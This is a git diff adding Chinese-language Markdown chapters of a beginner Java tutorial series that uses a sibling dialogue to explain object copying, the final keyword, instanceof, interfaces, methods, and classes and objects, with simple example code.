+public class CopyValuePerson {
+ private String name;
+ private int age;
+
+ public CopyValuePerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ public CopyValuePerson() {
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age);
+ }
+
+ public static void main(String[] args) {
+ CopyValuePerson p1 = new CopyValuePerson("沉默王二",18);
+ p1.out();
+
+ CopyValuePerson p2 = new CopyValuePerson();
+ p2.name = p1.name;
+ p2.age = p1.age;
+
+ p2.out();
+ }
+}
+```
+
+这种方式比较粗暴,直接拿 p1 的字段值复制给 p2 对象(`p2.name = p1.name`)。
+
+3)通过 Object 类的 `clone()` 方法
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class ClonePerson implements Cloneable {
+ private String name;
+ private int age;
+
+ public ClonePerson(String name, int age) {
+ this.name = name;
+ this.age = age;
+ }
+
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ return super.clone();
+ }
+
+ public void out() {
+ System.out.println("姓名 " + name + " 年龄 " + age);
+ }
+
+ public static void main(String[] args) throws CloneNotSupportedException {
+ ClonePerson p1 = new ClonePerson("沉默王二",18);
+ p1.out();
+
+ ClonePerson p2 = (ClonePerson) p1.clone();
+ p2.out();
+ }
+}
+```
+
+通过 `clone()` 方法复制对象的时候,ClonePerson 必须先实现 Cloneable 接口的 `clone()` 方法,然后再调用 `clone()` 方法(`ClonePerson p2 = (ClonePerson) p1.clone()`)。
+
+### 07、ending
+
+“二哥,我能问一些问题吗?”三妹精神焕发,没有丝毫的疲惫。
+
+“当然可以啊,你问。”我很欣赏三妹孜孜不倦的态度。
+
+“构造方法真的不返回任何值吗?”
+
+“构造方法虽然没有返回值,但返回的是类的对象。”
+
+“构造方法只能完成字段初始化的工作吗?”
+
+“初始化字段只是构造方法的一种工作,它还可以做更多,比如启动线程,调用其他方法等。”
+
+“好的,二哥,我的问题问完了,今天的学习可以结束了!”三妹一脸得意的样子。
+
+“那你记得复习下一节的内容哦。”感受到三妹已经学到了知识,我也很欣慰。
\ No newline at end of file
diff --git a/docs/oo/final.md b/docs/oo/final.md
new file mode 100644
index 0000000000..5068d51ceb
--- /dev/null
+++ b/docs/oo/final.md
@@ -0,0 +1,211 @@
+
+“哥,今天学什么呢?”
+
+“今天学一个重要的关键字——final。 ”我面带着朴实无华的微笑回答着她,“对了,三妹,你打算考研吗?”
+
+“还没想过,我今年才大一呢,到时候再说吧,你决定。”
+
+“好吧。”我摊摊手,表示很无辜,真的是所有的决定都交给我这个哥哥了,如果决定错了,锅得背上。
+
+### 01、final 变量
+
+“好了,我们先来看 final 修饰的变量吧!”
+
+“被 final 修饰的变量无法重新赋值。换句话说,final 变量一旦初始化,就无法更改。”
+
+“来看这行代码。”
+
+```java
+final int age = 18;
+```
+
+“当尝试将 age 的值修改为 30 的时候,编译器就生气了。”
+
+
+
+“再来看这段代码。”
+
+```java
+public class Pig {
+ private String name;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
+```
+
+“这是一个很普通的 Java 类,它有一个字段 name。”
+
+“然后,我们创建一个测试类,并声明一个 final 修饰的 Pig 对象。”
+
+```java
+final Pig pig = new Pig();
+```
+
+“如果尝试将 pig 重新赋值的话,编译器同样会生气。”
+
+
+
+“但我们仍然可以去修改 pig 对象的 name。”
+
+```java
+final Pig pig = new Pig();
+pig.setName("特立独行");
+System.out.println(pig.getName()); // 特立独行
+```
+
+“另外,final 修饰的成员变量必须有一个默认值,否则编译器将会提醒没有初始化。”
+
+
+
+“final 和 static 一起修饰的成员变量叫做常量,常量名必须全部大写。”
+
+```java
+public class Pig {
+ private final int age = 1;
+ public static final double PRICE = 36.5;
+}
+```
+
+“有时候,我们还会用 final 关键字来修饰参数,它意味着参数在方法体内不能被再修改。”
+
+“来看下面这段代码。”
+
+```java
+public class ArgFinalTest {
+ public void arg(final int age) {
+ }
+
+ public void arg1(final String name) {
+ }
+}
+```
+
+“如果尝试去修改它的话,编译器会提示以下错误。”
+
+
+
+### 02、final 方法
+
+“被 final 修饰的方法不能被重写。如果我们在设计一个类的时候,认为某些方法不应该被重写,就应该把它设计成 final 的。”
+
+“Thread 类就是一个例子,它本身不是 final 的,这意味着我们可以扩展它,但它的 `isAlive()` 方法是 final 的。”
+
+```java
+public class Thread implements Runnable {
+ public final native boolean isAlive();
+}
+```
+“需要注意的是,该方法是一个本地(native)方法,用于确认线程是否处于活跃状态。而本地方法是由操作系统决定的,因此重写该方法并不容易实现。”
+
+“来看这段代码。”
+
+```java
+public class Actor {
+ public final void show() {
+
+ }
+}
+```
+
+“当我们想要重写该方法的话,就会出现编译错误。”
+
+
+
+“如果一个类中的某些方法要被其他方法调用,则应考虑事被调用的方法称为 final 方法,否则,重写该方法会影响到调用方法的使用。”
+
+“三妹,来问你一个问题吧。”正想趁三妹回答问题的时候喝口水。
+
+“你说吧,哥。”
+
+“一个类是 final 的,和一个类不是 final,但它所有的方法都是 final 的,考虑一下,它们之间有什么区别?”
+
+“我能想到的一点,就是前者不能被继承,也就是说方法无法被重写;后者呢,可以被继承,然后追加一些非 final 的方法。”还没等我把水咽下去,三妹就回答好了,着实惊呆了我。
+
+“嗯嗯嗯,没毛病没毛病,进步很大啊!”
+
+“那必须啊,谁叫我是你妹呢。”
+
+### 03、final 类
+
+“如果一个类使用了 final 关键字修饰,那么它就无法被继承.....”
+
+“等等,哥,我知道,String 类就是一个 final 类。”还没等我说完,三妹就抢着说到。
+
+“说得没毛病。”
+
+```java
+public final class String
+ implements java.io.Serializable, Comparable, CharSequence,
+ Constable, ConstantDesc {}
+```
+
+“那三妹你知道为什么 String 类要设计成 final 吗?”
+
+“这个还真不知道。”三妹的表情透露出这种无奈。
+
+“原因大致有 3 个。”
+
+- 为了实现字符串常量池
+- 为了线程安全
+- 为了 HashCode 的不可变性
+
+“想了解更详细的原因,可以一会看看我之前写的这篇文章。”
+
+[为什么 Java 字符串是不可变的?](https://mp.weixin.qq.com/s/CRQrm5zGpqWxYL_ztk-b2Q)
+
+“任何尝试从 final 类继承的行为将会引发编译错误。来看这段代码。”
+
+```java
+public final class Writer {
+ private String name;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
+```
+
+“尝试去继承它,编译器会提示以下错误,Writer 类是 final 的,无法继承。”
+
+
+
+“不过,类是 final 的,并不意味着该类的对象是不可变的。”
+
+“来看这段代码。”
+
+```java
+Writer writer = new Writer();
+writer.setName("沉默王二");
+System.out.println(writer.getName()); // 沉默王二
+```
+
+“Writer 的 name 字段的默认值是 null,但可以通过 settter 方法将其更改为沉默王二。也就是说,如果一个类只是 final 的,那么它并不是不可变的全部条件。”
+
+“关于不可变类,我之前也单独讲过一篇,你一会去看看。”
+
+[不可变类](https://mp.weixin.qq.com/s/wbdV9rV60AwWiiTEBYPP7g)
+
+“把一个类设计成 final 的,有其安全方面的考虑,但不应该故意为之,因为把一个类定义成 final 的,意味着它没办法继承,假如这个类的一些方法存在一些问题的话,我们就无法通过重写的方式去修复它。”
+
+
+------
+
+“三妹,final 关键字我们就学到这里吧,你一会再学习一下 Java 字符串为什么是不可变的和不可变类。”我揉一揉犯困的双眼,疲惫地给三妹说,“学完这两个知识点,你会对 final 的认知更清晰一些。”
+
+“好的,二哥,我这就去学习去。你去休息会。”
+
+我起身站到阳台上,看着窗外的车水马龙,不一会儿,就发起来呆。
+
+“好想去再看一场周杰伦的演唱会,不知道 2021 有没有这个机会。”
+
+我心里这样想着,天渐渐地暗了下来。
\ No newline at end of file
diff --git a/docs/oo/instanceof.md b/docs/oo/instanceof.md
new file mode 100644
index 0000000000..f6f83c209c
--- /dev/null
+++ b/docs/oo/instanceof.md
@@ -0,0 +1,140 @@
+
+
+instanceof 关键字的用法其实很简单:
+
+```java
+(object) instanceof (type)
+```
+
+用意也非常简单,判断对象是否符合指定的类型,结果要么是 true,要么是 false。在反序列化的时候,instanceof 操作符还是蛮常用的,因为这时候我们不太确定对象属不属于指定的类型,如果不进行判断的话,就容易抛出 ClassCastException 异常。
+
+我们来建这样一个简单的类 Round:
+
+```java
+class Round {
+}
+```
+
+然后新增一个扩展类 Ring:
+
+```java
+class Ring extends Round {
+}
+```
+
+这时候,我们就可以通过 instanceof 来检查 Ring 对象是否属于 Round 类型。
+
+```java
+Ring ring = new Ring();
+System.out.println(ring instanceof Round);
+```
+
+结果会输出 true,因为 Ring 继承了 Round,也就意味着 Ring 和 Round 符合 ` is-a` 的关系,而 instanceof 操作符正是基于类与类之间的继承关系,以及类与接口之间的实现关系的。
+
+我们再来新建一个接口 Shape:
+
+```java
+interface Shape {
+}
+```
+
+然后新建 Circle 类实现 Shape 接口并继承 Round 类:
+
+```java
+class Circle extends Round implements Shape {
+}
+```
+
+如果对象是由该类创建的,那么 instanceof 的结果肯定为 true。
+
+```java
+Circle circle = new Circle();
+System.out.println(circle instanceof Circle);
+```
+
+这个肯定没毛病,instanceof 就是干这个活的,大家也很好理解。那如果类型是父类呢?
+
+```java
+System.out.println(circle instanceof Round);
+```
+
+结果肯定还是 true,因为依然符合 `is-a` 的关系。那如果类型为接口呢?
+
+```java
+System.out.println(circle instanceof Shape);
+```
+
+结果仍然为 true, 因为也符合 `is-a` 的关系。如果要比较的对象和要比较的类型之间没有关系,当然是不能使用 instanceof 进行比较的。
+
+为了验证这一点,我们来创建一个实现了 Shape 但与 Circle 无关的 Triangle 类:
+
+``` java
+class Triangle implements Shape {
+}
+```
+
+这时候,再使用 instanceof 进行比较的话,编译器就报错了。
+
+```java
+ System.out.println(circle instanceof Triangle);
+```
+
+错误信息如下所示:
+
+```
+Inconvertible types; cannot cast 'com.itwanger.twentyfour.instanceof1.Circle' to 'com.itwanger.twentyfour.instanceof1.Triangle'
+```
+
+意思就是类型不匹配,不能转换,我们使用 instanceof 比较的目的,也就是希望如果结果为 true 的时候能进行类型转换。但显然 Circle 不能转为 Triangle。
+
+编译器已经提前帮我们预知了,很聪明。
+
+Java 是一门面向对象的编程语言,也就意味着除了基本数据类型,所有的类都会隐式继承 Object 类。所以下面的结果肯定也会输出 true。
+
+```java
+Thread thread = new Thread();
+System.out.println(thread instanceof Object);
+```
+
+“那如果对象为 null 呢?”三妹这时候插话了。
+
+“这个还真的是一个好问题啊。”我忍不住对三妹竖了一个大拇指。
+
+```java
+System.out.println(null instanceof Object);
+```
+
+只有对象才会有 null 值,所以编译器是不会报错的,只不过,对于 null 来说,instanceof 的结果为 false。因为所有的对象都可以为 null,所以也不好确定 null 到底属于哪一个类。
+
+通常,我们是这样使用 instanceof 操作符的。
+
+```java
+// 先判断类型
+if (obj instanceof String) {
+ // 然后强制转换
+ String s = (String) obj;
+ // 然后才能使用
+}
+```
+
+先用 instanceof 进行类型判断,然后再把 obj 强制转换成我们期望的类型再进行使用。
+
+JDK 16 的时候,instanceof 模式匹配转了正,意味着使用 instanceof 的时候更便捷了。
+
+```java
+if (obj instanceof String s) {
+ // 如果类型匹配 直接使用 s
+}
+```
+
+可以直接在 if 条件判断类型的时候添加一个变量,就不需要再强转和声明新的变量了。
+
+“哇,这样就简洁了呀!”三妹不仅惊叹到!
+
+好了,关于 instanceof 操作符我们就先讲到这吧,难是一点都不难,希望各位同学也能够很好的掌握。
+
+-----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
\ No newline at end of file
diff --git a/docs/oo/interface.md b/docs/oo/interface.md
new file mode 100644
index 0000000000..dd152420b4
--- /dev/null
+++ b/docs/oo/interface.md
@@ -0,0 +1,327 @@
+
+
+“哥,我看你朋友圈说《Java 程序员进阶之路》专栏收到了第一笔赞赏呀,虽然只有一块钱,但我也替你感到开心。”三妹的脸上洋溢着自信的微笑,仿佛这钱是打给她的一样。
+
+
+
+“是啊,早上起来的时候看到这条信息,还真的是挺开心的,虽然只有一块钱,但是开源的第一笔,也是我人生当中的第一笔,真的非常感谢这个读者,值得纪念的一天。”我自己也掩饰不住内心的激动。
+
+“有了这份鼓励,我相信你更新下去的动力更足了!”三妹今天说的话真的是特别令人喜欢。
+
+
+
+
+“是啊是啊,所以,今天要更新第 26 讲了——接口。”我接着说,“对于面向对象编程来说,抽象是一个极具魅力的特征。如果一个程序员的抽象思维很差,那他在编程中就会遇到很多困难,无法把业务变成具体的代码。在 Java 中,可以通过两种形式来达到抽象的目的,一种上一篇的主角——[抽象类](https://mp.weixin.qq.com/s/WSmGwdtlimIFVVDVKfvrWQ),另外一种就是今天的主角——接口。”
+
+----------
+
+“接口是什么呀?”三妹顺着我的话题及时的插话到。
+
+接口通过 interface 关键字来定义,它可以包含一些常量和方法,来看下面这个示例。
+
+```java
+public interface Electronic {
+ // 常量
+ String LED = "LED";
+
+ // 抽象方法
+ int getElectricityUse();
+
+ // 静态方法
+ static boolean isEnergyEfficient(String electtronicType) {
+ return electtronicType.equals(LED);
+ }
+
+ // 默认方法
+ default void printDescription() {
+ System.out.println("电子");
+ }
+}
+```
+
+来看一下这段代码反编译后的字节码。
+
+```java
+public interface Electronic
+{
+
+ public abstract int getElectricityUse();
+
+ public static boolean isEnergyEfficient(String electtronicType)
+ {
+ return electtronicType.equals("LED");
+ }
+
+ public void printDescription()
+ {
+ System.out.println("\u7535\u5B50");
+ }
+
+ public static final String LED = "LED";
+}
+```
+
+发现没?接口中定义的所有变量或者方法,都会自动添加上 `public` 关键字。
+
+接下来,我来一一解释下 Electronic 接口中的核心知识点。
+
+1)接口中定义的变量会在编译的时候自动加上 `public static final` 修饰符(注意看一下反编译后的字节码),也就是说上例中的 LED 变量其实就是一个常量。
+
+Java 官方文档上有这样的声明:
+
+>Every field declaration in the body of an interface is implicitly public, static, and final.
+
+换句话说,接口可以用来作为常量类使用,还能省略掉 `public static final`,看似不错的一种选择,对吧?
+
+不过,这种选择并不可取。因为接口的本意是对方法进行抽象,而常量接口会对子类中的变量造成命名空间上的“污染”。
+
+2)没有使用 `private`、`default` 或者 `static` 关键字修饰的方法是隐式抽象的,在编译的时候会自动加上 `public abstract` 修饰符。也就是说上例中的 `getElectricityUse()` 其实是一个抽象方法,没有方法体——这是定义接口的本意。
+
+3)从 Java 8 开始,接口中允许有静态方法,比如说上例中的 `isEnergyEfficient()` 方法。
+
+静态方法无法由(实现了该接口的)类的对象调用,它只能通过接口名来调用,比如说 `Electronic.isEnergyEfficient("LED")`。
+
+接口中定义静态方法的目的是为了提供一种简单的机制,使我们不必创建对象就能调用方法,从而提高接口的竞争力。
+
+4)接口中允许定义 `default` 方法也是从 Java 8 开始的,比如说上例中的 `printDescription()` 方法,它始终由一个代码块组成,为,实现该接口而不覆盖该方法的类提供默认实现。既然要提供默认实现,就要有方法体,换句话说,默认方法后面不能直接使用“;”号来结束——编译器会报错。
+
+
+
+“为什么要在接口中定义默认方法呢?”三妹好奇地问到。
+
+允许在接口中定义默认方法的理由很充分,因为一个接口可能有多个实现类,这些类就必须实现接口中定义的抽象类,否则编译器就会报错。假如我们需要在所有的实现类中追加某个具体的方法,在没有 `default` 方法的帮助下,我们就必须挨个对实现类进行修改。
+
+由之前的例子我们就可以得出下面这些结论:
+
+- 接口中允许定义变量
+- 接口中允许定义抽象方法
+- 接口中允许定义静态方法(Java 8 之后)
+- 接口中允许定义默认方法(Java 8 之后)
+
+除此之外,我们还应该知道:
+
+1)接口不允许直接实例化,否则编译器会报错。
+
+
+
+需要定义一个类去实现接口,见下例。
+
+```java
+public class Computer implements Electronic {
+
+ public static void main(String[] args) {
+ new Computer();
+ }
+
+ @Override
+ public int getElectricityUse() {
+ return 0;
+ }
+}
+```
+
+然后再实例化。
+
+```
+Electronic e = new Computer();
+```
+
+2)接口可以是空的,既可以不定义变量,也可以不定义方法。最典型的例子就是 Serializable 接口,在 `java.io` 包下。
+
+```java
+public interface Serializable {
+}
+```
+
+Serializable 接口用来为序列化的具体实现提供一个标记,也就是说,只要某个类实现了 Serializable 接口,那么它就可以用来序列化了。
+
+3)不要在定义接口的时候使用 final 关键字,否则会报编译错误,因为接口就是为了让子类实现的,而 final 阻止了这种行为。
+
+
+
+4)接口的抽象方法不能是 private、protected 或者 final,否则编译器都会报错。
+
+
+
+5)接口的变量是隐式 `public static final`(常量),所以其值无法改变。
+
+“接口可以做什么呢?”三妹见缝插针,问的很及时。
+
+第一,使某些实现类具有我们想要的功能,比如说,实现了 Cloneable 接口的类具有拷贝的功能,实现了 Comparable 或者 Comparator 的类具有比较功能。
+
+Cloneable 和 Serializable 一样,都属于标记型接口,它们内部都是空的。实现了 Cloneable 接口的类可以使用 `Object.clone()` 方法,否则会抛出 CloneNotSupportedException。
+
+```java
+public class CloneableTest implements Cloneable {
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ return super.clone();
+ }
+
+ public static void main(String[] args) throws CloneNotSupportedException {
+ CloneableTest c1 = new CloneableTest();
+ CloneableTest c2 = (CloneableTest) c1.clone();
+ }
+}
+```
+
+运行后没有报错。现在把 `implements Cloneable` 去掉。
+
+```java
+public class CloneableTest {
+ @Override
+ protected Object clone() throws CloneNotSupportedException {
+ return super.clone();
+ }
+
+ public static void main(String[] args) throws CloneNotSupportedException {
+ CloneableTest c1 = new CloneableTest();
+ CloneableTest c2 = (CloneableTest) c1.clone();
+
+ }
+}
+```
+
+运行后抛出 CloneNotSupportedException:
+
+```
+Exception in thread "main" java.lang.CloneNotSupportedException: com.cmower.baeldung.interface1.CloneableTest
+ at java.base/java.lang.Object.clone(Native Method)
+ at com.cmower.baeldung.interface1.CloneableTest.clone(CloneableTest.java:6)
+ at com.cmower.baeldung.interface1.CloneableTest.main(CloneableTest.java:11)
+```
+
+
+第二,Java 原则上只支持单一继承,但通过接口可以实现多重继承的目的。
+
+如果有两个类共同继承(extends)一个父类,那么父类的方法就会被两个子类重写。然后,如果有一个新类同时继承了这两个子类,那么在调用重写方法的时候,编译器就不能识别要调用哪个类的方法了。这也正是著名的菱形问题,见下图。
+
+
+
+
+简单解释下,ClassC 同时继承了 ClassA 和 ClassB,ClassC 的对象在调用 ClassA 和 ClassB 中重写的方法时,就不知道该调用 ClassA 的方法,还是 ClassB 的方法。
+
+接口没有这方面的困扰。来定义两个接口,Fly 接口会飞,Run 接口会跑。
+
+```java
+public interface Fly {
+ void fly();
+}
+public interface Run {
+ void run();
+}
+```
+
+然后让 Pig 类同时实现这两个接口。
+
+```java
+public class Pig implements Fly,Run{
+ @Override
+ public void fly() {
+ System.out.println("会飞的猪");
+ }
+
+ @Override
+ public void run() {
+ System.out.println("会跑的猪");
+ }
+}
+```
+
+在某种形式上,接口实现了多重继承的目的:现实世界里,猪的确只会跑,但在雷军的眼里,站在风口的猪就会飞,这就需要赋予这只猪更多的能力,通过抽象类是无法实现的,只能通过接口。
+
+第三,实现多态。
+
+什么是多态呢?通俗的理解,就是同一个事件发生在不同的对象上会产生不同的结果,鼠标左键点击窗口上的 X 号可以关闭窗口,点击超链接却可以打开新的网页。
+
+多态可以通过继承(`extends`)的关系实现,也可以通过接口的形式实现。
+
+Shape 接口表示一个形状。
+
+```java
+public interface Shape {
+ String name();
+}
+```
+
+Circle 类实现了 Shape 接口,并重写了 `name()` 方法。
+
+```java
+public class Circle implements Shape {
+ @Override
+ public String name() {
+ return "圆";
+ }
+}
+```
+
+Square 类也实现了 Shape 接口,并重写了 `name()` 方法。
+
+```java
+public class Square implements Shape {
+ @Override
+ public String name() {
+ return "正方形";
+ }
+}
+```
+
+然后来看测试类。
+
+```java
+List shapes = new ArrayList<>();
+Shape circleShape = new Circle();
+Shape squareShape = new Square();
+
+shapes.add(circleShape);
+shapes.add(squareShape);
+
+for (Shape shape : shapes) {
+ System.out.println(shape.name());
+}
+```
+
+这就实现了多态,变量 circleShape、squareShape 的引用类型都是 Shape,但执行 `shape.name()` 方法的时候,Java 虚拟机知道该去调用 Circle 的 `name()` 方法还是 Square 的 `name()` 方法。
+
+说一下多态存在的 3 个前提:
+
+1、要有继承关系,比如说 Circle 和 Square 都实现了 Shape 接口。
+2、子类要重写父类的方法,Circle 和 Square 都重写了 `name()` 方法。
+3、父类引用指向子类对象,circleShape 和 squareShape 的类型都为 Shape,但前者指向的是 Circle 对象,后者指向的是 Square 对象。
+
+然后,我们来看一下测试结果:
+
+```
+圆
+正方形
+```
+
+也就意味着,尽管在 for 循环中,shape 的类型都为 Shape,但在调用 `name()` 方法的时候,它知道 Circle 对象应该调用 Circle 类的 `name()` 方法,Square 对象应该调用 Square 类的 `name()` 方法。
+
+“哦,我理解了哥。那我再问一下,抽象类和接口有什么差别呢?”
+
+“哇,三妹呀,你这个问题恰到好处,问到了点子上。”我不由得为三妹竖起了大拇指。
+
+1)语法层面上
+
+- 接口中不能有 private 和 protected 修饰的方法,抽象类中可以有。
+- 接口中的变量只能是隐式的常量,抽象类中可以有任意类型的变量。
+- 一个类只能继承一个抽象类,但却可以实现多个接口。
+
+2)设计层面上
+
+抽象类是对类的一种抽象,继承抽象类的子类和抽象类本身是一种 `is-a` 的关系。
+
+接口是对类的某种行为的一种抽象,接口和类之间并没有很强的关联关系,举个例子来说,所有的类都可以实现 `Serializable` 接口,从而具有序列化的功能,但不能说所有的类和 Serializable 之间是 `is-a` 的关系。
+
+--------
+
+“好了,三妹,接口就学到这吧,下课,哈哈哈。”我抬起头看了看窗外,天气还真不错,希望五一的张家界也能晴空万里~
+
+“嗯嗯,哥,休息下吧,我给你揉揉肩膀~~~~”不得不说,有个贴心的妹妹还真的是挺舒服。。。。。
+
+-----
+
+《**Java 程序员进阶之路**》预计一个月左右会有一次内容更新和完善,大家在我的公众号 **沉默王二** 后台回复“**03**” 即可获取最新版!如果觉得内容不错的话,欢迎转发分享!
+
+
\ No newline at end of file
diff --git a/docs/oo/method.md b/docs/oo/method.md
new file mode 100644
index 0000000000..1bc91a41f1
--- /dev/null
+++ b/docs/oo/method.md
@@ -0,0 +1,223 @@
+
+
+“二哥,[上一节](https://mp.weixin.qq.com/s/UExby8GP3kSacCXliQw8pQ)学了对象和类,这一节我们学什么呢?”三妹满是期待的问我。
+
+“这一节我们来了解一下 Java 中的方法——什么是方法?如何声明方法?方法有哪几种?什么是实例方法?什么是抽象方法?”我笑着对三妹说,“我开始了啊,你不要闪啊。”
+
+### 01、Java 中的方法是什么?
+
+方法用来实现代码的可重用性,我们编写一次方法,并多次使用它。通过增加或者删除方法中的一部分代码,就可以提高整体代码的可读性。
+
+只有方法被调用时,它才会执行。Java 中最有名的方法当属 `main()` 方法,点击下面的链接可以阅读更多关于 `main()` 方法的知识点。
+
+>[零基础学 Java 第 4 讲:Hello World](https://mp.weixin.qq.com/s/191I_2CVOxVuyfLVtb4jhg)
+
+
+### 02、如何声明方法?
+
+方法的声明反映了方法的一些信息,比如说可见性、返回类型、方法名和参数。如下图所示。
+
+
+
+**访问权限**:它指定了方法的可见性。Java 提供了四种访问权限修饰符:
+
+- public:该方法可以被所有类访问。
+- private:该方法只能在定义它的类中访问。
+- protected:该方法可以被同一个包中的类,或者不同包中的子类访问。
+- default:该方法如果没有使用任何访问权限修饰符,Java 默认它使用 default 修饰符,该方法只能被同一个包中类可见。
+
+**返回类型**:方法返回的数据类型,可以是基本数据类型、对象和集合,如果不需要返回数据,则使用 void 关键字。
+
+**方法名**:方法名最好反应出方法的功能,比如,我们要创建一个将两个数字相减的方法,那么方法名最好是 subtract。
+
+方法名最好是一个动词,并且以小写字母开头。如果方法名包含两个以上单词,那么第一个单词最好是动词,然后是形容词或者名词,并且要以驼峰式的命名方式命名。比如:
+
+- 一个单词的方法名:`sum()`
+- 多个单词的方法名:`stringComparision()`
+
+一个方法可能与同一个类中的另外一个方法同名,这被称为方法重载。
+
+**参数**:参数被放在一个圆括号内,如果有多个参数,可以使用逗号隔开。参数包含两个部分,参数类型和参数名。如果方法没有参数,圆括号是空的。
+
+**方法签名**:每一个方法都有一个签名,包括方法名和参数。
+
+**方法体**:方法体放在一对花括号内,把一些代码放在一起,用来执行特定的任务。
+
+
+
+
+### 02、方法有哪几种?
+
+方法可以分为两种,一种叫预先定义方法,一种叫用户自定义方法。
+
+**1)预先定义方法**
+
+Java 提供了大量预先定义好的方法供我们调用,也称为标准类库方法,或者内置方法。比如说 String 类的 `length()`、`equals()`、`compare()` 方法,以及我们在初学 Java 阶段最常用的 `println()` 方法,用来在控制台打印信息。
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class PredefinedMethodDemo {
+ public static void main(String[] args) {
+ System.out.println("沉默王二,一枚有趣的程序员");
+ }
+}
+```
+
+在上面的代码中,我们使用了两个预先定义的方法,`main()` 方法是程序运行的入口,`println()` 方法是 `PrintStream` 类的一个方法。这些方法已经提前定义好了,所以我们可以直接使用它们。
+
+我们可以通过集成开发工具查看预先定义方法的方法签名,当我们把鼠标停留在 `println()` 方法上面时,就会显示下图中的内容:
+
+
+
+`println()` 方法的访问权限修饰符是 public,返回类型为 void,方法名为 println,参数为 `String x`,以及 Javadoc(方法是干嘛的)。
+
+预先定义方法让编程变得简单了起来,我们只需要在实现某些功能的时候直接调用这些方法即可,不需要重新编写。
+
+
+**2)用户自定义方法**
+
+当预先定义方法无法满足我们的要求时,就需要自定义一些方法,比如说,我们来定义这样一个方法,用来检查数字是偶数还是奇数。
+
+```java
+public static void findEvenOdd(int num) {
+ if (num % 2 == 0) {
+ System.out.println(num + " 是偶数");
+ } else {
+ System.out.println(num + " 是奇数");
+ }
+}
+```
+
+方法名叫做 `findEvenOdd`,访问权限修饰符是 public,并且是静态的(static),返回类型是 void,参数有一个整形(int)的 num。方法体中有一个 if else 语句,如果 num 可以被 2 整除,那么就打印这个数字是偶数,否则就打印这个数字是奇数。
+
+方法被定义好后,如何被调用呢?
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class EvenOddDemo {
+ public static void main(String[] args) {
+ findEvenOdd(10);
+ findEvenOdd(11);
+ }
+
+ public static void findEvenOdd(int num) {
+ if (num % 2 == 0) {
+ System.out.println(num + " 是偶数");
+ } else {
+ System.out.println(num + " 是奇数");
+ }
+ }
+}
+```
+
+`main()` 方法是程序的入口,并且是静态的,那么就可以直接调用同样是静态方法的 `findEvenOdd()`。
+
+当一个方法被 static 关键字修饰时,它就是一个静态方法。换句话说,静态方法是属于类的,不属于类实例的(不需要通过 new 关键字创建对象来调用,直接通过类名就可以调用)。
+
+### 03、什么是实例方法?
+
+没有使用 static 关键字修饰,但在类中声明的方法被称为实例方法,在调用实例方法之前,必须创建类的对象。
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class InstanceMethodExample {
+ public static void main(String[] args) {
+ InstanceMethodExample instanceMethodExample = new InstanceMethodExample();
+ System.out.println(instanceMethodExample.add(1, 2));
+ }
+
+ public int add(int a, int b) {
+ return a + b;
+ }
+}
+```
+
+`add()` 方法是一个实例方法,需要创建 InstanceMethodExample 对象来访问。
+
+实例方法有两种特殊类型:
+
+- getter 方法
+- setter 方法
+
+getter 方法用来获取私有变量(private 修饰的字段)的值,setter 方法用来设置私有变量的值。
+
+```java
+/**
+ * @author 沉默王二,一枚有趣的程序员
+ */
+public class Person {
+ private String name;
+ private int age;
+ private int sex;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public int getAge() {
+ return age;
+ }
+
+ public void setAge(int age) {
+ this.age = age;
+ }
+
+ public int getSex() {
+ return sex;
+ }
+
+ public void setSex(int sex) {
+ this.sex = sex;
+ }
+}
+```
+
+getter 方法以 get 开头,setter 方法以 set 开头。
+
+### 04、什么是抽象方法?
+
+没有方法体的方法被称为抽象方法,它总是在抽象类中声明。这意味着如果类有抽象方法的话,这个类就必须是抽象的。可以使用 atstract 关键字创建抽象方法和抽象类。
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+abstract class AbstractDemo {
+ abstract void display();
+}
+```
+
+当一个类继承了抽象类后,就必须重写抽象方法:
+
+```java
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class MyAbstractDemo extends AbstractDemo {
+ @Override
+ void display() {
+ System.out.println("重写了抽象方法");
+ }
+
+ public static void main(String[] args) {
+ MyAbstractDemo myAbstractDemo = new MyAbstractDemo();
+ myAbstractDemo.display();
+ }
+}
+```
+
+输出结果如下所示:
+
+```
+重写了抽象方法
+```
\ No newline at end of file
diff --git a/docs/oo/object-class.md b/docs/oo/object-class.md
new file mode 100644
index 0000000000..baef7a9eff
--- /dev/null
+++ b/docs/oo/object-class.md
@@ -0,0 +1,295 @@
+
+
+“二哥,我那天在图书馆复习[上一节](https://mp.weixin.qq.com/s/WzMEOEdzI0fFwBQ4s0S-0g)你讲的内容,刚好碰见一个学长,他问我有没有‘对象’,我说还没有啊。结果你猜他说什么,‘要不要我给你 new 一个啊?’我当时就懵了,new 是啥意思啊,二哥?”三妹满是疑惑的问我。
+
+“哈哈,三妹,你学长还挺幽默啊。new 是 Java 中的一个关键字,用来把类变成对象。”我笑着对三妹说,“对象和类是 Java 中最基本的两个概念,可以说撑起了面向对象编程(OOP)的一片天。”
+
+### 01、面向过程和面向对象
+
+三妹是不是要问,什么是 OOP?
+
+OOP 的英文全称是 Object Oriented Programming,要理解它的话,就要先理解面向对象,要想理解面向对象的话,就要先理解面向过程,因为一开始没有面向对象的编程语言,都是面向过程。
+
+举个简单点的例子来区分一下面向过程和面向对象。
+
+有一天,你想吃小碗汤了,怎么办呢?有两个选择:
+
+1)自己买食材,豆腐皮啊、肉啊、蒜苔啊等等,自己动手做。
+
+2)到饭店去,只需要对老板喊一声,“来份小碗汤。”
+
